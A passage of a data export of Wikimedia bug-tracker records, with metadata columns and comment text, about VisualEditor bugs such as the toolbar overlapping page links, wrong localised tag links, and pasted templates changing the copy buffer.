*** This bug has been marked as a duplicate of bug 52441 ***",,,1375936189,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7gsk7m3csraunlup7tpi,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,5.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.210526315789474,0.8157894736842105,"This was fixed last week (but not deployed yet, sorry) - merging with the other report.

*** This bug has been marked as a duplicate of bug 52441 ***"
252819,VisualEditor: Toolbar overlaps top of page links,"users Jay8g and Wouterstomp at en.wp have confirmed this happening in ""Monobook, FF 22, Windows 7"" and in Chrome (presumably on Windows) respectively.

Jay8g provided a screenshot at https://en.wikipedia.org/wiki/File:VE_error-top_bar_over_toolbar.jpg",,,1375860454,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-7gsk7m3csraunlup7tpi,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,13.0,21.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.076923076923077,0.7948717948717948,"users Jay8g and Wouterstomp at en.wp have confirmed this happening in ""Monobook, FF 22, Windows 7"" and in Chrome (presumably on Windows) respectively.

Jay8g provided a screenshot at URL"
252812,VisualEditor: Toolbar overlaps top of page links,"**sandrobt.wiki** wrote:

It happen to me several tipe with MacOS 10.6 and Firexfox 22.0. 

I didn't need to do all those step to get this bug, it was enough to scroll down, modify something and then go back up. It doens't always happen, but when it doesn't, it is usually enough to repeati the above operation to get the overlapping.",,,1375560255,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7gsk7m3csraunlup7tpi,task_subcomment,,True,c1,3,False,,,4,,3.0,1.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,1.0,11.0,11.0,1.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,7.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,7.0,1.0,4.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,11.0,11.0,4.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,3.6315789473684212,0.6973684210526315,"**sandrobt.wiki** wrote:

It happen to me several tipe with MacOS 10.6 and Firexfox 22.0. 

I didn't need to do all those step to get this bug, it was enough to scroll down, modify something and then go back up. It doens't always happen, but when it doesn't, it is usually enough to repeati the above operation to get the overlapping."
252806,VisualEditor: Toolbar overlaps top of page links,"User CrypticC62 at en.wp has reproduced this in the following environments:


    Firefox 22 / Monobook / Windows Vista: Reproduced (followed steps, occurred in one attempt)
    Chrome 28 / Vector / Windows Vista: Found similar effect after step 3. See screenshot.


The screenshot referred to is [[File:VE Chrome Toolbar Overlap.png]]",,,1375291142,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-7gsk7m3csraunlup7tpi,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,29.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,8.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.393939393939394,0.7878787878787878,"User CrypticC62 at en.wp has reproduced this in the following environments:


    Firefox 22 / Monobook / Windows Vista: Reproduced (followed steps, occurred in one attempt)
    Chrome 28 / Vector / Windows Vista: Found similar effect after step 3. See screenshot.


The screenshot referred to is [[File:VE Chrome Toolbar Overlap.png]]"
54276,VisualEditor: Localised tag description should link to content language documentation page,"When working with tags in edits, the tag can be localised in the page history (and recent changes, etc.). For example the history of [[mw:Localisation]][1] shows ""(Tag: VisualEditor)"" where ""tag"" links to [[mw:Special:Tags]] and ""VisualEditor"" links to [[mw:VisualEditor]].

When viewing the same history in Dutch[2], this log line part displays as ""Label: Visuele tekstverwerker"", which in itself is a correct localisation for Dutch. When inspecting the links, the following observations are made:

Observed:
I. ""Label"" links to Special:Tags (expected)
II. ""Visuele tekstverwerker"" links to ""Visuele tekstverwerker""

Expected:
III. ""Visuele tekstverwerker"" links to the documentation page in the content language (in this example ""VisualEditor""). Otherwise each wiki would be expected to have documentation in all usable user interface languages (or at least redirects) to avoid red links.

[1] https://www.mediawiki.org/w/index.php?title=Localisation&action=history&uselang=en
[2] https://www.mediawiki.org/w/index.php?title=Localisation&action=history&uselang=nl

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1375192200,1375216402.0,PHID-USER-w5a723w3wes6jd5wskgg,False,,False,PHID-TASK-nirzuutzqnx7m4wim5ej,task_description,resolved,True,c1,3,False,False,True,4,,1.0,0.0,0.0,1.0,0.0,3.3333333333333335,0.3333333333333333,0.0,0.0,0.0,3.3333333333333335,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,7.333333333333333,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.0,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.3333333333333333,11.333333333333334,1.3333333333333333,1.0,5.333333333333333,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,1.0,0.0,0.3333333333333333,7.333333333333333,6.666666666666667,0.0,6.333333333333333,0.0,0.3333333333333333,0.0,1.6666666666666667,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,4.0,3.7631578947368425,0.5964912280701755,"When working with tags in edits, the tag can be localised in the page history (and recent changes, etc.). For example the history of [[mw:Localisation]][1] shows ""(Tag: VisualEditor)"" where ""tag"" links to [[mw:Special:Tags]] and ""VisualEditor"" links to [[mw:VisualEditor]].

When viewing the same history in Dutch[2], this log line part displays as ""Label: Visuele tekstverwerker"", which in itself is a correct localisation for Dutch. When inspecting the links, the following observations are made:

Observed:
I. ""Label"" links to Special:Tags (expected)
II. ""Visuele tekstverwerker"" links to ""Visuele tekstverwerker""

Expected:
III. ""Visuele tekstverwerker"" links to the documentation page in the content language (in this example ""VisualEditor""). Otherwise each wiki would be expected to have documentation in all usable user interface languages (or at least redirects) to avoid red links.

[1] URL
[2] URL

--------------------------
**Version**: unspecified
**Severity**: normal"
249706,VisualEditor: Localised tag description should link to content language documentation page,Fixed; we'll deploy this later today.,,,1375216402,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nirzuutzqnx7m4wim5ej,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,1.0,Fixed; we'll deploy this later today.
249702,VisualEditor: Localised tag description should link to content language documentation page,"Change 76763 merged by jenkins-bot:
Partial revert of gerrit 8ed6dfa5423 to avoid i18n mis-links

https://gerrit.wikimedia.org/r/76763",,,1375216159,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nirzuutzqnx7m4wim5ej,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.363636363636363,0.9545454545454546,"Change 76763 merged by jenkins-bot:
Partial revert of gerrit 8ed6dfa5423 to avoid i18n mis-links

GERRIT_URL"
249699,VisualEditor: Localised tag description should link to content language documentation page,"Change 76763 had a related patch set uploaded by Jforrester:
Partial revert of gerrit 8ed6dfa5423 to avoid i18n mis-links

https://gerrit.wikimedia.org/r/76763",,,1375213768,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nirzuutzqnx7m4wim5ej,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.64,1.0,"Change 76763 had a related patch set uploaded by Jforrester:
Partial revert of gerrit 8ed6dfa5423 to avoid i18n mis-links

GERRIT_URL"
249694,VisualEditor: Localised tag description should link to content language documentation page,This was caused by gerrit 75559 - will partially-revert.,,,1375213677,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nirzuutzqnx7m4wim5ej,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9166666666666666,This was caused by gerrit 75559 - will partially-revert.
249689,VisualEditor: Localised tag description should link to content language documentation page,Right. It should probably be [[{{MediaWiki:visualeditor-descriptionpagelink}}|VisualEditor]].,,,1375213343,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-nirzuutzqnx7m4wim5ej,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.888888888888889,0.7777777777777778,Right. It should probably be [[{{MediaWiki:visualeditor-descriptionpagelink}}|VisualEditor]].
249683,VisualEditor: Localised tag description should link to content language documentation page,"[[mw:MediaWiki:Tag-visualeditor]] is using int: to fetch the visualeditor-descriptionpagelink, that should be done only for the content language. The link should be changed to {{MediaWiki:visualeditor-descriptionpagelink}}.

That is a problem in VisualEditor, moving component",,,1375212767,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-nirzuutzqnx7m4wim5ej,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,10.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,5.0,4.241379310344827,0.6551724137931034,"[[mw:MediaWiki:Tag-visualeditor]] is using int: to fetch the visualeditor-descriptionpagelink, that should be done only for the content language. The link should be changed to {{MediaWiki:visualeditor-descriptionpagelink}}.

That is a problem in VisualEditor, moving component"
54271,VisualEditor: Editing a pasted template alters copy buffer. Displayed result differs from saved result.,"Mike Christie at en.wp reports that when performing the sequence: 
1. copy template, 
2. paste template, 
3. edit parameter of pasted template, 
4. paste template
Step 4 pastes the template with the parameter values added in step 3 not the original ones.

""To reproduce:

1   Edit [[User:Mike Christie/Sandbox3]] in VE.
2   Select the 13 C (produced with {{chem|13|C}} ) in the middle using the mouse; make sure to select some text on either side, since pasting a template doesn't work unless it's embedded in a string. The colons are there to make it easy to be sure you've got some text in addition to the template.
3    Copy the selected text and then paste it at the end of the sentence.
4    Click on the pasted template, click on the jigsaw piece, and change the 13 in parameter 1 to a 15. Apply changes.
5    Now paste again at the end of the sentence. You'll see that the pasted template contains a 15, not a 13; so the copy/paste buffer was modified by the edit to the pasted template.""

Another test case using a different template:
1. Edit https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox&oldid=566402676#Section_3:_tl.2C_etc_templates_added_in_VE in VE
2. select ""tlp: {{tlp|as of|1999}} :"" and copy it to the clipboard
3. paste the template elsewhere.
4. edit the template you have just pasted (change parameter 2 to 2013) and apply the changes.
5. paste the template again.
Expected result: tlp: {{tlp|as of|1999}} :
Actual result: tlp: {{tlp|as of|2013}} :

Interestingly, pasting into a text editor gives the 1999 value as originally copied, not the 2013 value you get pasting into VE.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49396",High,80.0,1375186860,1378248030.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-jtms4kp7m57ptk6ccdpu,task_description,resolved,True,c1,3,False,False,True,4,,0.5,0.0,0.0,0.25,1.0,3.25,0.5,0.0,0.0,0.25,2.0,0.75,0.0,0.0,0.0,0.0,0.25,4.0,8.5,0.0,1.0,0.0,0.25,0.25,0.25,0.0,0.0,0.0,0.0,0.25,0.5,2.5,0.75,1.0,0.5,1.0,0.0,0.0,0.25,0.0,0.0,0.0,1.0,0.75,0.25,0.25,0.0,0.0,0.5,16.5,0.0,0.0,0.0,0.25,0.0,0.25,0.0,0.25,1.0,0.0,0.0,0.5,0.0,0.25,0.0,0.0,0.0,8.75,0.75,7.75,1.25,1.25,9.75,0.0,0.0,0.0,0.0,5.5,0.0,5.5,0.0,2.0,8.5,3.75,0.0,1.0,0.0,2.0,0.0,0.25,1.75,0.0,1.5,0.0,0.0,3.75,3.3873428159142445,0.5972995258709545,"Mike Christie at en.wp reports that when performing the sequence: 
1. copy template, 
2. paste template, 
3. edit parameter of pasted template, 
4. paste template
Step 4 pastes the template with the parameter values added in step 3 not the original ones.

""To reproduce:

1   Edit [[User:Mike Christie/Sandbox3]] in VE.
2   Select the 13 C (produced with {{chem|13|C}} ) in the middle using the mouse; make sure to select some text on either side, since pasting a template doesn't work unless it's embedded in a string. The colons are there to make it easy to be sure you've got some text in addition to the template.
3    Copy the selected text and then paste it at the end of the sentence.
4    Click on the pasted template, click on the jigsaw piece, and change the 13 in parameter 1 to a 15. Apply changes.
5    Now paste again at the end of the sentence. You'll see that the pasted template contains a 15, not a 13; so the copy/paste buffer was modified by the edit to the pasted template.""

Another test case using a different template:
1. Edit URL in VE
2. select ""tlp: {{tlp|as of|1999}} :"" and copy it to the clipboard
3. paste the template elsewhere.
4. edit the template you have just pasted (change parameter 2 to 2013) and apply the changes.
5. paste the template again.
Expected result: tlp: {{tlp|as of|1999}} :
Actual result: tlp: {{tlp|as of|2013}} :

Interestingly, pasting into a text editor gives the 1999 value as originally copied, not the 2013 value you get pasting into VE.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
249423,VisualEditor: Editing a pasted template alters copy buffer. Displayed result differs from saved result.,"(In reply to comment #2)
> This appears to be fixed in master.

Confirmed - fixed in master, broken in wmf15. Marking as such.",,,1378248030,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jtms4kp7m57ptk6ccdpu,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,20.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.2,0.92,"(In reply to comment #2)
QUOTE

Confirmed - fixed in master, broken in wmf15. Marking as such."
249416,VisualEditor: Editing a pasted template alters copy buffer. Displayed result differs from saved result.,This appears to be fixed in master.,,,1378232623,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-jtms4kp7m57ptk6ccdpu,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,1.0,This appears to be fixed in master.
249410,VisualEditor: Editing a pasted template alters copy buffer. Displayed result differs from saved result.,"Mike Christie comments further:
What is saved is not always what you see on screen.

To reproduce in a sandbox:

Add a template such as {{chem}}; I used 14C, created by {{chem|14|C}}. Put some text on either side of it so you can copy/paste it with text, since templates won't copy/paste successfully by themselves.

Save that page, and edit again.


Now copy the template and paste it twice, so you have something like this:
-- 14C -- -- 14C -- -- 14C --

Now edit the first pasted one -- the middle one in the example above -- so that it changes a parameter:

-- 14C -- -- 12C -- -- 14C --

Paste again; the pasted version will be 12C, which is bug 52271.

a) I've seen two different behaviours for the next step. One is that you'll now see this:

-- 14C -- -- 12C -- -- 14C -- -- 12C --

but when you save the third one will be a 12 -- that is, it will have changed what you see on screen to be different in the saved file.

b) The other behaviour I've seen is that after the final paste, all four of the templates show ""12"", not ""14"".",,,1376043644,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-jtms4kp7m57ptk6ccdpu,task_subcomment,,True,c1,3,False,,,5,,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,1.0,3.6666666666666665,1.6666666666666667,0.0,0.0,0.0,1.3333333333333333,1.3333333333333333,0.0,0.0,0.0,1.0,0.0,5.666666666666667,8.333333333333334,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,5.666666666666667,2.3333333333333335,1.6666666666666667,0.6666666666666666,2.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,8.0,0.6666666666666666,1.6666666666666667,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,5.333333333333333,3.0,5.0,2.6666666666666665,1.0,7.666666666666667,0.0,0.0,0.0,0.0,5.333333333333333,0.0,5.333333333333333,0.0,5.333333333333333,8.333333333333334,1.0,0.0,1.6666666666666667,0.0,5.333333333333333,0.0,1.6666666666666667,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,2.3333333333333335,3.2195228143504004,0.6576976663183559,"Mike Christie comments further:
What is saved is not always what you see on screen.

To reproduce in a sandbox:

Add a template such as {{chem}}; I used 14C, created by {{chem|14|C}}. Put some text on either side of it so you can copy/paste it with text, since templates won't copy/paste successfully by themselves.

Save that page, and edit again.


Now copy the template and paste it twice, so you have something like this:
-- 14C -- -- 14C -- -- 14C --

Now edit the first pasted one -- the middle one in the example above -- so that it changes a parameter:

-- 14C -- -- 12C -- -- 14C --

Paste again; the pasted version will be 12C, which is bug 52271.

a) I've seen two different behaviours for the next step. One is that you'll now see this:

-- 14C -- -- 12C -- -- 14C -- -- 12C --

but when you save the third one will be a 12 -- that is, it will have changed what you see on screen to be different in the saved file.

b) The other behaviour I've seen is that after the final paste, all four of the templates show ""12"", not ""14""."
54256,"VisualEditor: Link widget in a slug fails with ""No class registered by that name: undefined""","ve.Factory.prototype.create throws an Error, ""No class registered by that name: undefined"" when using the link widget.  It can be reproduced with:

1. Start with blank document
2. Hit Ctrl-K
3. Type some page name that doesn't exist
4. Hit escape twice.

This leaves a broken widget that takes several clicks (not sure the exact pattern here) to clear.

5. Try to open the link widget again.  It won't be possible, either with Ctrl+K or the button.

This is live on English Wikipedia.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50446",High,80.0,1375145700,1377888175.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-alab5hdzxtgqi3cu2eqm,task_description,resolved,True,c1,3,True,False,True,4,,1.0,0.0,0.0,0.5,2.0,6.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,4.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.5,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,2.0,0.0,1.5,0.0,1.0,0.0,11.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.5,2.0,12.5,0.5,1.5,6.5,0.0,0.0,0.0,0.0,7.0,0.0,1.5,0.0,1.0,4.5,2.0,0.0,1.0,0.0,1.0,0.0,1.5,1.0,0.0,0.5,0.0,0.0,1.0,3.5140845070422535,0.7112676056338028,"ve.Factory.prototype.create throws an Error, ""No class registered by that name: undefined"" when using the link widget.  It can be reproduced with:

1. Start with blank document
2. Hit Ctrl-K
3. Type some page name that doesn't exist
4. Hit escape twice.

This leaves a broken widget that takes several clicks (not sure the exact pattern here) to clear.

5. Try to open the link widget again.  It won't be possible, either with Ctrl+K or the button.

This is live on English Wikipedia.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
248587,"VisualEditor: Link widget in a slug fails with ""No class registered by that name: undefined""",This seems to be fixed by https://gerrit.wikimedia.org/r/#/c/81437/,,,1377888175,,PHID-USER-mpfqwllylfkzpcgkdkvc,True,,,PHID-TASK-alab5hdzxtgqi3cu2eqm,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,1.0,This seems to be fixed by URL
248582,"VisualEditor: Link widget in a slug fails with ""No class registered by that name: undefined""","It also copies the page name from the link widget to the document as apparent plain text, even though you exit out with double-ESC.",,,1375145903,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-alab5hdzxtgqi3cu2eqm,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,7.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.9285714285714286,"It also copies the page name from the link widget to the document as apparent plain text, even though you exit out with double-ESC."
248577,"VisualEditor: Link widget in a slug fails with ""No class registered by that name: undefined""","Created attachment 13014
Broken link widget after pressing Ctrl-K on empty page, then exiting

